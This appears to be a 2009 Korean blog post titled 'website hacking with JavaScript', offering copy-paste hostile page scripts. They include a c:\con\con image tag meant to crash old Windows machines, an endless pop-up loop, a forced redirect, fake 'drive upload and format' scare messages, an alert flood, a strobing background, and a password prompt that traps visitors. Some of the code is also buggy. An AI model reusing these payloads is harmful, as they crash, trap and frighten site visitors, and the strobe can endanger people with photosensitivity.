상세 컨텐츠

본문 제목

웹사이트해킹 자바스크립트로 응용하기

프로그래밍/스크립트

by 라제폰 2009. 2. 6. 18:12

본문

 * 웹사이트해킹 자바스크립트로 응용하기 *

             [분류]     웹해킹              [자료]     정팅모임때 강좌한 내용  
시스템을 다운 시키기

<HTML>
<BODY>
<IMG SRC="c:\con\con">
<!-- or nul\nul, clock$\clock$ -->
<!-- or aux\aux, config$\config$ -->
</BODY>
</HTML>

============================================================================
창이..연속적으로 계속계속 뜨는거

<script> for(i=1;i>0;i++){window.open("");}</script>
============================================================================
딴대로 보내 버리는거

<script> {window.open("보내고자하는주소입력");}</script>
============================================================================
화면이 흔들린다~

<SCRIPT LANGUAGE="JavaScript1.2">
<!--
function shake(n) {
if (window.top.moveBy) {
for (i = 10; i > 0; i--) {
for (j = n; j > 0; j--) {
window.top.moveBy(0,i);
window.top.moveBy(i,0);
window.top.moveBy(0,-i);
window.top.moveBy(-i,0);
         }
      }
   }
alert("화면이 흔들리고 난후 나올 메세지");
}
// End -->
</script>
============================================================================

하드를 포맷한다고 속이기..

<script language="JavaScript">
<!--
window.onerror=null;
var down;var min1,sec1;var cmin1,csec1,cmin2csec2;

function Minutes(data) {

        for(var i=0;i<data.length;i++)
                if(data.substring(i,i+i)==":")
                break;
                return(data.substring(0,i));
}

function Seconds(data) {
        for(var i=0;i<data.length;i++)
                if(data.substring(i,i+i)==":")
                break;
                return(data.substring(i+1,data.length));
}

function Down() {
        cmin2=1*Minutes(document.sw.disp1.value);
        csec2=0+Seconds(document.sw.disp2.value);
        DownRepeat();
}

function DownRepeat() {
        csec2--;
        if(csec2==-1) {
              csec2=59; cmin2--;
}
  window.setTimeout('fakeformat(-1)',200);
}

function D(){
        cmin2=1*Minutes(document.sw.disp1.value);
        csec2=0+Seconds(document.sw.disp2.value);
        DRepeat();
}

function DRepeat() {
        csec2--;
        if(csec2==-1) {
        csec2=59; cmin2--;
}
   self.status="Document: Done";
}

function faketake(percent1){

if(percent1 < 100){
percent1++;
window.status="Upload of drive C:\\in progress: "+percent1+"% complete";
fid1=window.setTimeout("faketake("+percent1+")",200);
}else{

window.status="Upload of hard drive complete...Now deleting...";Down();}}
function fakeformat(percent){
if(percent < 100){
percent++;
window.status="Format of drive C:\\in progress: "+percent1+"% complete";
fid=window.setTimeout("faketake("+percent1+")",360); // 900
}else{
window.status="Format of drive complete ...";D();}}
window.setTimeout('faketake(-1)',200);
//End -->
</script>

============================================================================

포맷하고....(가짜로..) C:\를 보여준다..

<script language="javascript">
function virus() {
alert("바이러스를 다운받으면 당신 하드가 포맷됩니다.!")
alert("바이러스 다운로드")
alert("포맷시작")
alert("1% completed...")
alert("2% completed...")
alert("3% completed...")
alert("4% completed...")
alert("5% completed...")
alert("6% completed...")
alert("7% completed...")
alert("8% completed...")
alert("9% completed...")
alert("10% completed...")
alert("11% completed...")
alert("12% completed...")
alert("13% completed...")
alert("14% completed...")
alert("15% completed...")
alert("16% completed...")
alert("17% completed...")
alert("18% completed...")
alert("19% completed...")
alert("20% completed...")
alert("21% completed...")
alert("22% completed...")
alert("23% completed...")
alert("24% completed...")
alert("25% completed...")
alert("26% completed...")
alert("27% completed...")
alert("28% completed...")
alert("29% completed...")
alert("30% completed...")
alert("31% completed...")
alert("32% completed...")
alert("33% completed...")
alert("34% completed...")
alert("35% completed...")
alert("36% completed...")
alert("37% completed...")
alert("38% completed...")
alert("39% completed...")
alert("40% completed...")
alert("41% completed...")
alert("42% completed...")
alert("43% completed...")
alert("44% completed...")
alert("45% completed...")
alert("46% completed...")
alert("47% completed...")
alert("48% completed...")
alert("49% completed...")
alert("50% completed...")
alert("51% completed...")
alert("52% completed...")
alert("53% completed...")
alert("54% completed...")
alert("55% completed...")
alert("56% completed...")
alert("57% completed...")
alert("58% completed...")
alert("59% completed...")
alert("60% completed...")
alert("61% completed...")
alert("62% completed...")
alert("63% completed...")
alert("64% completed...")
alert("65% completed...")
alert("66% completed...")
alert("67% completed...")
alert("68% completed...")
alert("69% completed...")
alert("70% completed...")
alert("71% completed...")
alert("72% completed...")
alert("73% completed...")
alert("74% completed...")
alert("75% completed...")
alert("76% completed...")
alert("77% completed...")
alert("78% completed...")
alert("79% completed...")
alert("80% completed...")
alert("81% completed...")
alert("82% completed...")
alert("83% completed...")
alert("84% completed...")
alert("85% completed...")
alert("86% completed...")
alert("87% completed...")
alert("88% completed...")
alert("89% completed...")
alert("90% completed...")
alert("91% completed...")
alert("92% completed...")
alert("93% completed...")
alert("94% completed...")
alert("95% completed...")
alert("96% completed...")
alert("97% completed...")
alert("98% completed...")
alert("99% completed...")
alert("100% completed...")
window.location.href="file:///c:"
}
</script>

============================================================================

정신을 번쩍 들게 해주는..

<SCRIPT LANGUAGE="JavaScript">
<!-- Hiding
 function strobo(n) {
        for(var i = 0; i <= n; i++) {
      document.bgColor = "#000000";
     document.bgColor = "#ffffff";
    }
}


strobo(500);

// -->
</SCRIPT>

============================================================================

간단하면서도 치명적인... 못빠져 나감니다.. CTRL+ALT+DEL키를 눌러야만...^^

<SCRIPT language="JAVASCRIPT">
<!--
loopy()
function loopy() {
var sWord =""
     while (sWord != "ahn's good") {
          sWord = prompt("Password를 입력하세요.틀리면'CTRL+ALT+DELETE' 를 누르셔야만 됩니다..")
}
     alert("어서오세요..")
}
//--></script>

============================================================================


관련글 더보기